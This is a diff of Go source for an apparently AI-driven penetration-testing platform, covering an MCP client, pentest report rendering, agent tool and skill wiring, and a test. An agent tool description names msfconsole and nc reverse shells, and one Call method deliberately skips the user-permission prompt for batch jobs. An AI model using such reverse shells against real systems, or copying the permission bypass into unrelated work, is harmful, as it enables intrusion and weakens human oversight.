http: &http.Client{Timeout: 120 * time.Second},
|
||||
}
|
||||
if err := c.initialize(ctx); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return c, nil
|
||||
}
|
||||
|
||||
func (c *Client) initialize(ctx context.Context) error {
|
||||
if _, err := c.call(ctx, "initialize", map[string]any{
|
||||
"protocolVersion": protocolVersion,
|
||||
"capabilities": map[string]any{},
|
||||
"clientInfo": map[string]any{"name": "artex", "version": "0.2"},
|
||||
}); err != nil {
|
||||
return err
|
||||
}
|
||||
return c.notify(ctx, "notifications/initialized", map[string]any{})
|
||||
}
|
||||
|
||||
// Tools lists the server's tools and adapts them to CoreTools.
|
||||
func (c *Client) Tools(ctx context.Context) ([]actool.CoreTool, error) {
|
||||
raw, err := c.call(ctx, "tools/list", map[string]any{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var res struct {
|
||||
Tools []remoteTool `json:"tools"`
|
||||
}
|
||||
if err := json.Unmarshal(raw, &res); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out := make([]actool.CoreTool, 0, len(res.Tools))
|
||||
for _, rt := range res.Tools {
|
||||
out = append(out, c.wrap(rt))
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
type remoteTool struct {
|
||||
Name string `json:"name"`
|
||||
Description string `json:"description"`
|
||||
InputSchema map[string]any `json:"inputSchema"`
|
||||
}
|
||||
|
||||
func (c *Client) wrap(rt remoteTool) actool.CoreTool {
|
||||
schema := rt.InputSchema
|
||||
if schema == nil {
|
||||
schema = map[string]any{"type": "object"}
|
||||
}
|
||||
full := ToolName(c.server, rt.Name)
|
||||
return actool.Build(actool.Spec{
|
||||
Name: full,
|
||||
Description: rt.Description,
|
||||
Schema: schema,
|
||||
Permissions: func(context.Context, json.RawMessage, permission.Context) permission.Decision {
|
||||
return permission.AskUser("call MCP tool " + full + "?")
|
||||
},
|
||||
Run: func(ctx context.Context, in json.RawMessage, _ *actool.ToolContext) (actool.Result, error) {
|
||||
var args any
|
||||
if len(in) > 0 {
|
||||
_ = json.Unmarshal(in, &args)
|
||||
}
|
||||
raw, err := c.call(ctx, "tools/call", map[string]any{"name": rt.Name, "arguments": args})
|
||||
if err != nil {
|
||||
return actool.Errorf("Error: " + err.Error()), nil
|
||||
}
|
||||
var res struct {
|
||||
Content []struct {
|
||||
Type string `json:"type"`
|
||||
Text string `json:"text"`
|
||||
} `json:"content"`
|
||||
IsError bool `json:"isError"`
|
||||
}
|
||||
if err := json.Unmarshal(raw, &res); err != nil {
|
||||
return actool.Errorf("Error: bad MCP response: " + err.Error()), nil
|
||||
}
|
||||
var text string
|
||||
for _, blk := range res.Content {
|
||||
text += blk.Text
|
||||
}
|
||||
return actool.Result{Content: []llm.ContentBlock{llm.TextBlock(text)}, IsError: res.IsError}, nil
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
// Call invokes one tool and returns the concatenated text of its content blocks
|
||||
// (ScopeSentry answers with a single JSON text block). Unlike the CoreTool wrapper
|
||||
// from Tools(), this bypasses the agent permission (AskUser) layer — it is meant
|
||||
// for backend batch jobs (e.g. asset sync) that call MCP tools programmatically.
|
||||
func (c *Client) Call(ctx context.Context, tool string, args any) (string, error) {
|
||||
raw, err := c.call(ctx, "tools/call", map[string]any{"name": tool, "arguments": args})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
var res struct {
|
||||
Content []struct {
|
||||
Type string `json:"type"`
|
||||
Text string `json:"text"`
|
||||
} `json:"content"`
|
||||
IsError bool `json:"isError"`
|
||||
}
|
||||
if err := json.Unmarshal(raw, &res); err != nil {
|
||||
return "", fmt.Errorf("bad MCP response: %w", err)
|
||||
}
|
||||
var text strings.Builder
|
||||
for _, blk := range res.Content {
|
||||
text.WriteString(blk.Text)
|
||||
}
|
||||
if res.IsError {
|
||||
return text.String(), fmt.Errorf("mcp tool %q error: %s", tool, text.String())
|
||||
}
|
||||
return text.String(), nil
|
||||
}
|
||||
|
||||
// Close terminates the MCP session best-effort (DELETE with the session id, per the
|
||||
// Streamable HTTP spec). Servers that don't track sessions simply ignore it.
|
||||
func (c *Client) Close() error {
|
||||
c.mu.Lock()
|
||||
sid := c.sessionID
|
||||
c.mu.Unlock()
|
||||
if sid == "" {
|
||||
return nil
|
||||
}
|
||||
req, err := http.NewRequest(http.MethodDelete, c.url, nil)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
req.Header.Set("Mcp-Session-Id", sid)
|
||||
for k, v := range c.headers {
|
||||
req.Header.Set(k, v)
|
||||
}
|
||||
if resp, err := c.http.Do(req); err == nil {
|
||||
resp.Body.Close()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// --- JSON-RPC over Streamable HTTP ---
|
||||
|
||||
func (c *Client) call(ctx context.Context, method string, params any) (json.RawMessage, error) {
|
||||
c.mu.Lock()
|
||||
c.nextID++
|
||||
id := c.nextID
|
||||
c.mu.Unlock()
|
||||
resp, err := c.roundTrip(ctx, rpcRequest{JSONRPC: "2.0", ID: id, Method: method, Params: params}, true)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp == nil {
|
||||
return nil, fmt.Errorf("mcp: empty response for %s", method)
|
||||
}
|
||||
if resp.Error != nil {
|
||||
return nil, resp.Error
|
||||
}
|
||||
return resp.Result, nil
|
||||
}
|
||||
|
||||
func (c *Client) notify(ctx context.Context, method string, params any) error {
|
||||
_, err := c.roundTrip(ctx, rpcRequest{JSONRPC: "2.0", Method: method, Params: params}, false)
|
||||
return err
|
||||
}
|
||||
|
||||
// roundTrip POSTs one JSON-RPC frame. When expectResp is false (a notification) the
|
||||
// server replies 202 Accepted with no body. Otherwise the reply is parsed from JSON
|
||||
// or from an SSE stream, whichever the server chose.
|
||||
func (c *Client) roundTrip(ctx context.Context, body rpcRequest, expectResp bool) (*rpcResponse, error) {
|
||||
data, err := json.Marshal(body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodPost, c.url, bytes.NewReader(data))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
req.Header.Set("Accept", "application/json, text/event-stream")
|
||||
req.Header.Set("MCP-Protocol-Version", protocolVersion)
|
||||
for k, v := range c.headers {
|
||||
req.Header.Set(k, v)
|
||||
}
|
||||
c.mu.Lock()
|
||||
sid := c.sessionID
|
||||
c.mu.Unlock()
|
||||
if sid != "" {
|
||||
req.Header.Set("Mcp-Session-Id", sid)
|
||||
}
|
||||
|
||||
resp, err := c.http.Do(req)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
// Capture the session id the server assigns on initialize.
|
||||
if sid == "" {
|
||||
if got := resp.Header.Get("Mcp-Session-Id"); got != "" {
|
||||
c.mu.Lock()
|
||||
c.sessionID = got
|
||||
c.mu.Unlock()
|
||||
}
|
||||
}
|
||||
|
||||
if resp.StatusCode < 200 || resp.StatusCode >= 300 {
|
||||
return nil, fmt.Errorf("mcp http %d: %s", resp.StatusCode, readSnippet(resp.Body))
|
||||
}
|
||||
if !expectResp {
|
||||
return nil, nil // notification — no JSON-RPC body to parse
|
||||
}
|
||||
if strings.HasPrefix(resp.Header.Get("Content-Type"), "text/event-stream") {
|
||||
return parseSSE(resp.Body, body.ID)
|
||||
}
|
||||
var out rpcResponse
|
||||
if err := json.NewDecoder(resp.Body).Decode(&out); err != nil {
|
||||
return nil, fmt.Errorf("mcp: decode json response: %w", err)
|
||||
}
|
||||
return &out, nil
|
||||
}
|
||||
|
||||
// parseSSE reads an SSE stream and returns the first data frame that is a JSON-RPC
|
||||
// response matching wantID (server-to-client requests/notifications are skipped).
|
||||
func parseSSE(r io.Reader, wantID int) (*rpcResponse, error) {
|
||||
sc := bufio.NewScanner(r)
|
||||
sc.Buffer(make([]byte, 0, 64*1024), 8*1024*1024)
|
||||
var dataBuf strings.Builder
|
||||
flush := func() (*rpcResponse, bool) {
|
||||
if dataBuf.Len() == 0 {
|
||||
return nil, false
|
||||
}
|
||||
payload := dataBuf.String()
|
||||
dataBuf.Reset()
|
||||
var out rpcResponse
|
||||
if err := json.Unmarshal([]byte(payload), &out); err != nil {
|
||||
return nil, false
|
||||
}
|
||||
if out.ID != wantID {
|
||||
return nil, false
|
||||
}
|
||||
return &out, true
|
||||
}
|
||||
for sc.Scan() {
|
||||
line := sc.Text()
|
||||
if line == "" { // event boundary
|
||||
if resp, ok := flush(); ok {
|
||||
return resp, nil
|
||||
}
|
||||
continue
|
||||
}
|
||||
if strings.HasPrefix(line, "data:") {
|
||||
dataBuf.WriteString(strings.TrimSpace(line[len("data:"):]))
|
||||
}
|
||||
}
|
||||
if resp, ok := flush(); ok {
|
||||
return resp, nil
|
||||
}
|
||||
if err := sc.Err(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return nil, fmt.Errorf("mcp: no matching response in event stream")
|
||||
}
|
||||
|
||||
func readSnippet(r io.Reader) string {
|
||||
b, _ := io.ReadAll(io.LimitReader(r, 2048))
|
||||
return strings.TrimSpace(string(b))
|
||||
}
|
||||
@@ -0,0 +1,97 @@
|
||||
// Package report renders a deliverable Markdown report from the exploration
|
||||
// graph: confirmed findings (with severity/evidence) (docs §15 P5).
|
||||
package report
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/Autumn-27/artex/db"
|
||||
)
|
||||
|
||||
// Input bundles what the report needs.
|
||||
type Input struct {
|
||||
Title string
|
||||
Goal string
|
||||
GeneratedAt time.Time
|
||||
AssetCounts map[string]int
|
||||
Findings []*db.Node
|
||||
}
|
||||
|
||||
type findingView struct {
|
||||
VulnClass string
|
||||
Severity string
|
||||
Summary string
|
||||
PoC string
|
||||
}
|
||||
|
||||
func parseFinding(n *db.Node) findingView {
|
||||
var p struct {
|
||||
VulnClass string `json:"vulnclass"`
|
||||
Severity string `json:"severity"`
|
||||
Summary string `json:"summary"`
|
||||
Evidence struct {
|
||||
PoC string `json:"poc"`
|
||||
} `json:"evidence"`
|
||||
}
|
||||
_ = json.Unmarshal(n.Payload, &p)
|
||||
return findingView{p.VulnClass, p.Severity, p.Summary, p.Evidence.PoC}
|
||||
}
|
||||
|
||||
var sevRank = map[string]int{"high": 0, "medium": 1, "low": 2, "": 3}
|
||||
|
||||
// Markdown renders the report.
|
||||
func Markdown(in Input) string {
|
||||
var b strings.Builder
|
||||
fmt.Fprintf(&b, "# 渗透测试报告 — %s\n\n", nz(in.Title, "未命名任务"))
|
||||
fmt.Fprintf(&b, "- **任务目标**：%s\n", nz(in.Goal, "（未指定）"))
|
||||
fmt.Fprintf(&b, "- **生成时间**：%s\n\n", in.GeneratedAt.Format("2006-01-02 15:04:05"))
|
||||
|
||||
// summary
|
||||
fmt.Fprintf(&b, "## 摘要\n\n")
|
||||
fmt.Fprintf(&b, "- 确认发现：**%d** 个\n", len(in.Findings))
|
||||
fmt.Fprintf(&b, "- 资产：")
|
||||
var types []string
|
||||
for t := range in.AssetCounts {
|
||||
types = append(types, t)
|
||||
}
|
||||
sort.Strings(types)
|
||||
for i, t := range types {
|
||||
if i > 0 {
|
||||
b.WriteString("、")
|
||||
}
|
||||
fmt.Fprintf(&b, "%s %d", t, in.AssetCounts[t])
|
||||
}
|
||||
b.WriteString("\n\n")
|
||||
|
||||
// findings
|
||||
fmt.Fprintf(&b, "## 发现\n\n")
|
||||
if len(in.Findings) == 0 {
|
||||
b.WriteString("_本次未确认漏洞。_\n\n")
|
||||
} else {
|
||||
fs := make([]findingView, 0, len(in.Findings))
|
||||
for _, n := range in.Findings {
|
||||
fs = append(fs, parseFinding(n))
|
||||
}
|
||||
sort.SliceStable(fs, func(i, j int) bool { return sevRank[fs[i].Severity] < sevRank[fs[j].Severity] })
|
||||
for i, f := range fs {
|
||||
fmt.Fprintf(&b, "### %d. [%s] %s\n\n", i+1, strings.ToUpper(nz(f.Severity, "info")), nz(f.VulnClass, "未分类"))
|
||||
fmt.Fprintf(&b, "%s\n\n", nz(f.Summary, ""))
|
||||
if f.PoC != "" {
|
||||
fmt.Fprintf(&b, "**PoC / 证据：**\n\n```\n%s\n```\n\n", f.PoC)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return b.String()
|
||||
}
|
||||
|
||||
func nz(s, d string) string {
|
||||
if strings.TrimSpace(s) == "" {
|
||||
return d
|
||||
}
|
||||
return s
|
||||
}
|
||||
@@ -0,0 +1,362 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"io"
|
||||
"log"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/Autumn-27/norma/skill"
|
||||
actool "github.com/Autumn-27/norma/tool"
|
||||
"github.com/Autumn-27/artex/agent"
|
||||
"github.com/Autumn-27/artex/db"
|
||||
"github.com/Autumn-27/artex/traffic"
|
||||
)
|
||||
|
||||
// wireAgentAugment connects the PG agent_visibility table into the agent runtime:
|
||||
// an agent's visible skills are loaded from the filesystem and packed into one
|
||||
// Skill meta-tool; its visible stdio MCP servers are spawned and expanded to
|
||||
// mcp__server__tool. skillDir is the root directory of all skill subdirectories.
|
||||
// hostTools, if set, returns runtime host tools (currently the traffic tools when
|
||||
// capture is on) to add to EVERY agent's base list — the DB tools table then
|
||||
// filters them per-agent binding. Empty/nil → no host tools this run (capture off).
|
||||
func wireAgentAugment(pg *db.DB, skillDir string, hostTools func() ([]actool.CoreTool, map[string][]string)) {
|
||||
agent.ToolAugment = func(ctx context.Context, agentKey string) ([]actool.CoreTool, agent.DeferredInfo, func()) {
|
||||
a, err := pg.GetAgentByKey(agentKey)
|
||||
if err != nil || a == nil {
|
||||
return nil, agent.DeferredInfo{}, nil
|
||||
}
|
||||
var extra []actool.CoreTool
|
||||
|
||||
// --- skills: load visible skills into reg (used for the Skill meta-tool
|
||||
// and to know which MCP servers are skill-gated). ---
|
||||
var reg *skill.Registry
|
||||
if names, _ := pg.AgentSkillNames(a.ID); len(names) > 0 {
|
||||
nameSet := make(map[string]bool, len(names))
|
||||
for _, n := range names {
|
||||
nameSet[n] = true
|
||||
}
|
||||
if allReg, err := skill.LoadDir(skillDir); err == nil && allReg != nil {
|
||||
reg = skill.NewRegistry()
|
||||
for _, s := range allReg.List() {
|
||||
// match by directory name (Base of Dir), not by skill display Name
|
||||
if s.Dir != "" && nameSet[filepath.Base(s.Dir)] {
|
||||
reg.Add(s)
|
||||
}
|
||||
}
|
||||
if len(reg.List()) == 0 {
|
||||
reg = nil
|
||||
}
|
||||
}
|
||||
}
|
||||
// A server named by any visible skill's `mcps:` is skill-gated: its tools
|
||||
// are deferred + locked (not in the global block) until that skill loads.
|
||||
gated := map[string]bool{}
|
||||
if reg != nil {
|
||||
for _, s := range reg.List() {
|
||||
for _, srv := range s.MCPs {
|
||||
gated[srv] = true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// --- mcp: connect enabled servers that are directly visible to this agent
|
||||
// OR skill-gated (named in a visible skill's mcps field). Directly-visible
|
||||
// and NOT gated → global (unlocked from session start). Skill-gated →
|
||||
// deferred until that skill is invoked (regardless of direct visibility).
|
||||
var closers []io.Closer
|
||||
serverTools := map[string][]string{} // server name → its tool names
|
||||
var allNames, globalNames []string
|
||||
globalSet := map[string]bool{}
|
||||
{
|
||||
mcpIDs, _ := pg.AgentVisible(a.ID, "mcp")
|
||||
want := idSet(mcpIDs)
|
||||
all, _ := pg.ListMCP()
|
||||
for _, m := range all {
|
||||
if !m.Enabled {
|
||||
continue
|
||||
}
|
||||
directVisible := want[m.ID]
|
||||
skillGated := gated[m.Name]
|
||||
if !directVisible && !skillGated {
|
||||
continue // neither directly visible nor referenced by a visible skill
|
||||
}
|
||||
cl, err := connectMCP(ctx, m)
|
||||
if err != nil {
|
||||
log.Printf("[mcp] %s 连接失败: %v", m.Name, err)
|
||||
continue
|
||||
}
|
||||
closers = append(closers, cl)
|
||||
ts, err := cl.Tools(ctx)
|
||||
if err != nil {
|
||||
log.Printf("[mcp] %s tools/list 失败: %v", m.Name, err)
|
||||
continue
|
||||
}
|
||||
for _, t := range ts {
|
||||
extra = append(extra, t)
|
||||
allNames = append(allNames, t.Name())
|
||||
serverTools[m.Name] = append(serverTools[m.Name], t.Name())
|
||||
if directVisible && !skillGated {
|
||||
// directly visible and not gated → available from session start
|
||||
globalNames = append(globalNames, t.Name())
|
||||
globalSet[t.Name()] = true
|
||||
}
|
||||
// skill-gated tools stay out of globalNames; unlocked via unlockSkill()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Shared call-gate: global MCP tools are unlocked from the start; skill-gated
|
||||
// ones are unlocked when their skill loads (or replayed from history — C2).
|
||||
unlock := actool.NewUnlockSet(globalNames...)
|
||||
unlockSkill := func(skillName string) {
|
||||
if reg == nil {
|
||||
return
|
||||
}
|
||||
if s, ok := reg.Get(skillName); ok {
|
||||
for _, srv := range s.MCPs {
|
||||
unlock.Add(serverTools[srv]...)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Skill meta-tool: on load, unlock the skill's MCPs and reveal their names
|
||||
// (the ones not already in the global block).
|
||||
if reg != nil {
|
||||
reg.OnInvoke = func(s skill.Skill) string {
|
||||
unlockSkill(s.Name)
|
||||
var reveal []string
|
||||
for _, srv := range s.MCPs {
|
||||
for _, n := range serverTools[srv] {
|
||||
if !globalSet[n] {
|
||||
reveal = append(reveal, n)
|
||||
}
|
||||
}
|
||||
}
|
||||
return actool.RenderDeferredToolsBlock(reveal)
|
||||
}
|
||||
extra = append(extra, reg.Tool())
|
||||
}
|
||||
|
||||
// host tools (traffic / orchestration / custom) — added to every agent's base;
|
||||
// ToolResolve then keeps them only for agents the tool is bound to. Custom
|
||||
// tools flagged deferred contribute their names to the deferred wiring so
|
||||
// their schema is withheld (SearchExtraTools/ExecuteExtraTool), same as MCP.
|
||||
if hostTools != nil {
|
||||
ht, deferredBinds := hostTools()
|
||||
extra = append(extra, ht...)
|
||||
for name, boundAgents := range deferredBinds {
|
||||
if !contains(boundAgents, a.Key) {
|
||||
continue // only defer names this agent is actually bound to
|
||||
}
|
||||
allNames = append(allNames, name) // schema withheld from the prompt
|
||||
globalNames = append(globalNames, name) // advertised in the deferred block
|
||||
globalSet[name] = true
|
||||
if unlock != nil {
|
||||
unlock.Add(name) // global deferred → callable from the start
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
cleanup := func() {
|
||||
for _, c := range closers {
|
||||
_ = c.Close()
|
||||
}
|
||||
}
|
||||
def := agent.DeferredInfo{
|
||||
Deferred: allNames,
|
||||
GlobalNames: globalNames,
|
||||
Unlock: unlock,
|
||||
UnlockSkill: unlockSkill,
|
||||
}
|
||||
return extra, def, cleanup
|
||||
}
|
||||
}
|
||||
|
||||
func idSet(ids []int64) map[int64]bool {
|
||||
m := make(map[int64]bool, len(ids))
|
||||
for _, id := range ids {
|
||||
m[id] = true
|
||||
}
|
||||
return m
|
||||
}
|
||||
|
||||
// seedPrompts writes each built-in agent's code-default prompt body into
|
||||
// agent_prompts on startup — first-insert only (SeedPromptIfEmpty is a no-op once
|
||||
// any version exists), so the DB becomes the authoritative editable source while
|
||||
// user edits survive restarts. Runs after seedBuiltins has created the agent rows.
|
||||
func seedPrompts(pg *db.DB) {
|
||||
for key, tmpl := range agent.BuiltinPromptSeeds() {
|
||||
a, err := pg.GetAgentByKey(key)
|
||||
if err != nil || a == nil {
|
||||
log.Printf("[prompts] seed %s 跳过: agent 不存在 (%v)", key, err)
|
||||
continue
|
||||
}
|
||||
if err := pg.SeedPromptIfEmpty(a.ID, tmpl); err != nil {
|
||||
log.Printf("[prompts] seed %s 失败: %v", key, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// wireTools seeds the built-in tool catalog (idempotent, first-insert only so page
|
||||
// edits survive restart) and wires the DB tools table into the agent runtime: at
|
||||
// tool-assembly time each built-in tool is filtered by its agent binding / enabled
|
||||
// flag and, if kept, wrapped so the model sees the DB-overridden description/schema
|
||||
// and缺省入参 get injected. MCP/skill/host tools have no row and pass through.
|
||||
func wireTools(pg *db.DB, domainReg map[string]actool.CoreTool) {
|
||||
// Seed the built-in domain tools (first-insert only; DO NOTHING preserves edits).
|
||||
// No startup prune: rows we didn't seed are left alone so future user-defined
|
||||
// custom tools (system=false, added via the UI) survive restarts.
|
||||
for _, s := range agent.BuiltinToolSeeds() {
|
||||
schema, _ := json.Marshal(s.Schema)
|
||||
agents, _ := json.Marshal(s.Agents)
|
||||
if err := pg.SeedTool(s.Key, s.Desc, schema, agents); err != nil {
|
||||
log.Printf("[tools] seed %s 失败: %v", s.Key, err)
|
||||
}
|
||||
}
|
||||
// Seed the traffic host tools so they're bindable per-agent like built-ins.
|
||||
// Default binding = worker (preserves prior behavior). Their runtime availability
|
||||
// is still gated by the global capture switch (hostTools() returns them only when
|
||||
// capture is on), so an off-capture binding simply never surfaces the tool.
|
||||
trafficAgents, _ := json.Marshal([]string{"worker"})
|
||||
for _, t := range traffic.SeedToolMetas() {
|
||||
schema, _ := json.Marshal(t.InputSchema())
|
||||
if err := pg.SeedTool(t.Name(), t.Description(), schema, trafficAgents); err != nil {
|
||||
log.Printf("[tools] seed %s 失败: %v", t.Name(), err)
|
||||
}
|
||||
}
|
||||
// bashInteractiveShellNote is appended to Bash's description ONLY for agents whose
|
||||
// interactive_shell is on, so Bash points at shell_open for interactive programs
|
||||
// without ever referencing a tool that isn't injected (§14.1/§14.2).
|
||||
const bashInteractiveShellNote = "\n\n需要【交互输入】的程序（msfconsole / ssh 交互登录 / mysql、psql、python 等 REPL / 密码或 yes/no 提示 / nc 反弹 shell）不要用 Bash（它没有 stdin、会卡住），改用 shell_open 开交互会话（用完 shell_close）。一次性、非交互命令仍用 Bash。"
|
||||
agent.ToolResolve = func(_ context.Context, agentKey string, tools []actool.CoreTool) []actool.CoreTool {
|
||||
rows, err := pg.ListTools()
|
||||
if err != nil {
|
||||
log.Printf("[tools] 读取工具表失败，按代码默认放行: %v", err)
|
||||
return tools
|
||||
}
|
||||
byKey := make(map[string]*db.Tool, len(rows))
|
||||
for _, t := range rows {
|
||||
byKey[t.Key] = t
|
||||
}
|
||||
out := tools[:0:0]
|
||||
for _, t := range tools {
|
||||
row, known := byKey[t.Name()]
|
||||
if !known { // MCP/skill/host tool: no row → untouched
|
||||
out = append(out, t)
|
||||
continue
|
||||
}
|
||||
if !row.Enabled || !contains(row.Agents, agentKey) {
|
||||
continue // disabled globally or not bound to this agent → drop
|
||||
}
|
||||
var schema map[string]any
|
||||
if len(row.Schema) > 0 {
|
||||
_ = json.Unmarshal(row.Schema, &schema)
|
||||
}
|
||||
out = append(out, agent.DecorateTool(t, row.Description, schema))
|
||||
}
|
||||
// inject: domain tools bound to this agent in the DB but absent from the
|
||||
// incoming list. Covers agents (Auto, custom) whose base only has DefaultTools
|
||||
// and therefore never includes ToolSet-backed domain tools. Per-task instances
|
||||
// in the base always win: inList is built from the original incoming list so a
|
||||
// worker's own upsert_asset is never shadowed by the server-level registry copy.
|
||||
if len(domainReg) > 0 {
|
||||
inList := make(map[string]bool, len(tools))
|
||||
for _, t := range tools {
|
||||
inList[t.Name()] = true
|
||||
}
|
||||
for _, row := range rows {
|
||||
if row.Kind == "shell" || !row.Enabled || !contains(row.Agents, agentKey) || inList[row.Key] {
|
||||
continue
|
||||
}
|
||||
inst, ok := domainReg[row.Key]
|
||||
if !ok {
|
||||
continue // not a domain tool; custom/host tools are injected via hostTools()
|
||||
}
|
||||
var schema map[string]any
|
||||
if len(row.Schema) > 0 {
|
||||
_ = json.Unmarshal(row.Schema, &schema)
|
||||
}
|
||||
out = append(out, agent.DecorateTool(inst, row.Description, schema))
|
||||
}
|
||||
}
|
||||
// shell hints: user-defined kind="shell" tools are not callable — they are
|
||||
// environment declarations that tell the model which command-line tools are
|
||||
// installed. Collect the ones bound to this agent and append to Bash's description.
|
||||
var shellHints []string
|
||||
for _, row := range rows {
|
||||
if row.Kind == "shell" && row.Enabled && contains(row.Agents, agentKey) {
|
||||
shellHints = append(shellHints, "- "+row.Key+": "+row.Description)
|
||||
}
|
||||
}
|
||||
if len(shellHints) > 0 {
|
||||
note := "\n\n以下工具已安装在此 bash 环境中，可直接通过 Bash 调用：\n" + strings.Join(shellHints, "\n")
|
||||
for i, t := range out {
|
||||
if t.Name() == "Bash" {
|
||||
out[i] = agent.DecorateTool(t, t.Description()+note, t.InputSchema())
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
// interactive shell: gated purely by the agent's interactive_shell flag (like
|
||||
// web_search), NOT by tools-table binding. When on, inject the 5 shell_* tools
|
||||
// and COUPLE the Bash description addendum so it points at shell_open — and never
|
||||
// dangles when off. See docs/交互式shell设计.md §14.2.
|
||||
if !actool.InteractiveShellDisabled() {
|
||||
if a, err := pg.GetAgentByKey(agentKey); err == nil && a != nil && a.InteractiveShell {
|
||||
out = append(out, actool.ShellSessionTools()...)
|
||||
for i, t := range out {
|
||||
if t.Name() == "Bash" {
|
||||
out[i] = agent.DecorateTool(t, t.Description()+bashInteractiveShellNote, t.InputSchema())
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
}
|
||||
|
||||
func contains(ss []string, v string) bool {
|
||||
for _, s := range ss {
|
||||
if s == v {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// buildDomainReg builds a name→CoreTool registry from a server-level ToolSet
|
||||
// (real AssetStore, nil ExplorationStore, taskID=0). Used by ToolResolve to inject
|
||||
// domain tools into agents (Auto, custom) that don't own a per-task ToolSet.
|
||||
// nil as → returns nil (no injection, graceful degradation).
|
||||
func buildDomainReg(as *db.AssetStore) map[string]actool.CoreTool {
|
||||
if as == nil {
|
||||
return nil
|
||||
}
|
||||
serverTS := agent.NewToolSet(nil, "")
|
||||
serverTS.SetAssetStore(as, as.Companies())
|
||||
reg := make(map[string]actool.CoreTool)
|
||||
for _, t := range serverTS.AllDomainTools() {
|
||||
reg[t.Name()] = t
|
||||
}
|
||||
return reg
|
||||
}
|
||||
|
||||
func jsonStrSlice(raw json.RawMessage) []string {
|
||||
var out []string
|
||||
if len(raw) > 0 {
|
||||
_ = json.Unmarshal(raw, &out)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func jsonStrMap(raw json.RawMessage) map[string]string {
|
||||
out := map[string]string{}
|
||||
if len(raw) > 0 {
|
||||
_ = json.Unmarshal(raw, &out)
|
||||
}
|
||||
return out
|
||||
}
|
||||
@@ -0,0 +1,93 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
actool "github.com/Autumn-27/norma/tool"
|
||||
"github.com/Autumn-27/artex/agent"
|
||||
"github.com/Autumn-27/artex/db"
|
||||
)
|
||||
|
||||
// hasSkillTool reports whether the packed tool set contains the Skill meta-tool.
|
||||
func hasSkillTool(tools []actool.CoreTool) bool {
|
||||
for _, t := range tools {
|
||||
if t.Name() == "Skill" {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// TestAssembleVisibleSkill verifies a filesystem skill made visible to an agent is
|
||||
// packed into that agent's tool set (as the single Skill meta-tool) via the wired
|
||||
// ToolAugment hook. Skills live on disk under skillDir; visibility is a per-agent
|
||||
// (agent × skill_name) row keyed by the skill's directory name.
|
||||
func TestAssembleVisibleSkill(t *testing.T) {
|
||||
dsn, _, err := db.DSN()
|
||||
if err != nil {
|
||||
t.Skipf("no database config (%v) — skipping", err)
|
||||
}
|
||||
pg, err := db.Open(dsn)
|
||||
if err != nil {
|
||||
t.Skipf("postgres unavailable (%v) — skipping", err)
|
||||
}
|
||||
defer pg.Close()
|
||||
|
||||
// Filesystem skill fixture: <skillDir>/t-assemble/SKILL.md. The directory name
|
||||
// (t-assemble) is the visibility key matched against AgentSkillNames.
|
||||
skillDir := t.TempDir()
|
||||
const skillName = "t-assemble"
|
||||
if err := os.MkdirAll(filepath.Join(skillDir, skillName), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
md := "---\nname: t-assemble\ndescription: do the thing\n---\ndo the thing"
|
||||
if err := os.WriteFile(filepath.Join(skillDir, skillName, "SKILL.md"), []byte(md), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
wireAgentAugment(pg, skillDir, nil)
|
||||
t.Cleanup(func() { agent.ToolAugment = nil })
|
||||
|
||||
ag, _ := pg.GetAgentByKey("planner")
|
||||
if ag == nil {
|
||||
t.Fatal("planner agent missing")
|
||||
}
|
||||
|
||||
// Isolate this test from whatever skill visibility the planner already has in the
|
||||
// shared DB: clear it now, restore it on cleanup.
|
||||
orig, _ := pg.AgentSkillNames(ag.ID)
|
||||
if err := pg.SetAgentSkillVisibility(ag.ID, nil); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = pg.SetAgentSkillVisibility(ag.ID, orig) })
|
||||
|
||||
// before: skill not visible → no Skill meta-tool
|
||||
extra, _, cleanup := agent.ToolAugment(context.Background(), "planner")
|
||||
cleanup()
|
||||
if hasSkillTool(extra) {
|
||||
t.Fatalf("expected no Skill meta-tool before the skill is made visible")
|
||||
}
|
||||
|
||||
// make the skill visible to planner
|
||||
if err := pg.ToggleSkillVisibility(ag.ID, skillName, true); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
